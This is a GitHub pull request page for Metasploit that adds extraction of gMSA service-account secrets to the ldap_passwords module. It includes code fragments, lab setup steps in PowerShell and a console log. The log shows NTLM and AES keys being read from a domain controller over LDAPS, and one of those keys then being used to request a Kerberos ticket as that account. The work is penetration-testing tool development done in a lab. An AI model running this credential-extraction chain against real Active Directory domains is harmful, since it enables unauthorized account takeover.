-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add gMSA Secret Extraction From LDAP #20401
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add gMSA Secret Extraction From LDAP #20401
Conversation
def self.hash_to_jtr(cred) | ||
case cred.private.type | ||
when 'Metasploit::Credential::NTLMHash' | ||
return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}" | ||
when 'Metasploit::Credential::PostgresMD5' | ||
if cred.private.jtr_format =~ /postgres|raw-md5/ | ||
params_to_jtr( | ||
(cred.public.nil? ? '' : cred.public.username), | ||
cred.private.data, | ||
cred.class.model_name.element.to_sym, | ||
format: cred.private.jtr_format, | ||
db_id: cred.id | ||
) | ||
end | ||
|
||
def self.params_to_jtr(username, private_data, private_type, format: nil, db_id: nil) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I changed this around so Metasploit can get the JtR format of secrets without relying on a database connection. This means the auxiliary/gather/ldap_passwords
module can use this code to format the hashes regardless of whether or not the user has a database connected.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great work @zeroSteiner, no comments here 👍
Just a note for future travelers with respect to the setup instructions:
PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:COMPUTERNAME$"
PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:USERNAME"
PS C:\Users\Administrator> Install-ADServiceAccount -Identity "Jabberwock"
Install-ADServiceAccount : Cannot install service account. Error Message: '{Access Denied}
A process has requested access to an object, but has not been granted those access rights.'.
At line:1 char:1
+ Install-ADServiceAccount -Identity "Jabberwock"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : WriteError: (Jabberwock:String) [Install-ADServiceAccount], ADException
+ FullyQualifiedErrorId : InstallADServiceAccount:PerformOperation:InstallServiceAcccountFailure,Microsoft.ActiveD
irectory.Management.Commands.InstallADServiceAccount
It seems like running the PrincipalsAllowedToRetrieveManagedPassword
consecutively overwrites the parameter so the computer account loses access, which causes the installation attempt to fail because the computer account requires access. Setting them like so worked for me:
PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" `
>> -PrincipalsAllowedToRetrieveManagedPassword @(
>> "$env:COMPUTERNAME$",
>> "$env:USERNAME"
>> )
PS C:\Users\Administrator> Install-ADServiceAccount -Identity "Jabberwock"
PS C:\Users\Administrator>
Testing
msf6 auxiliary(gather/ldap_passwords) > set ldapdomain msf.local
ldapdomain => msf.local
msf6 auxiliary(gather/ldap_passwords) > set ldapusername administrator
ldapusername => administrator
msf6 auxiliary(gather/ldap_passwords) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(gather/ldap_passwords) > set rhost 172.16.199.202
rhost => 172.16.199.202
msf6 auxiliary(gather/ldap_passwords) > set rport 636
rport => 636
msf6 auxiliary(gather/ldap_passwords) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf6 auxiliary(gather/ldap_passwords) > run
[*] Discovered base DN: DC=msf,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credential found in msds-managedpassword: Jabberwock$::aad3b435b51404eeaad3b435b51404ee:664598ac3b81237522826eff323ecb0b:::
[+] Credential found in msds-managedpassword: Jabberwock$:aes256-cts-hmac-sha1-96:f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
[+] Credential found in msds-managedpassword: Jabberwock$:aes128-cts-hmac-sha1-96:0513d20973abbec9d68a987899f367d8
[*] Found 3 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > set aes_key f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
aes_key => f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 172.16.199.202
rhosts => 172.16.199.202
msf6 auxiliary(admin/kerberos/get_ticket) > set username Jabberwock
username => Jabberwock
msf6 auxiliary(admin/kerberos/get_ticket) > set domain msf.local
domain => msf.local
msf6 auxiliary(admin/kerberos/get_ticket) > set username Jabberwock
username => Jabberwock
msf6 auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 172.16.199.202
[*] 172.16.199.202:88 - Getting TGT for [email protected]
[+] 172.16.199.202:88 - Received a valid TGT-Response
[*] 172.16.199.202:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250724142826_default_172.16.199.202_mit.kerberos.cca_388315.bin
[*] Auxiliary module execution completed
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...') | ||
if is_active_directory?(ldap) | ||
print_status('The target LDAP server is an Active Directory Domain Controller.') | ||
@ad_ds_domain_info = adds_get_domain_info(ldap) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great to see the mixin getting used 👍
Release NotesUpdates the existing |
This updates the existing
auxiliary/gather/ldap_passwords
module to search for and extract gMSA credentials from AD Domain Controllers. These credentials can then be used to authenticate as the service account.Verification
msfconsole
use auxiliary/gather/ldap_passwords
SSL
to true and RPORT to 636 so the module is run with SSL (themsDS-ManagedPassword
attribute is only readable over LDAPS)auxiliary/admin/kerberos/get_ticket
to obtain a TGT as the service account, showing the secret is correct and you now have access to authenticate as the accountgMSA Setup
Run this with DA privilges on the DC to setup a gMSA account. The gMSA account will be named
Jabberwock$
. It adds the current user and the current computer as account with privileges to read the secret.Demo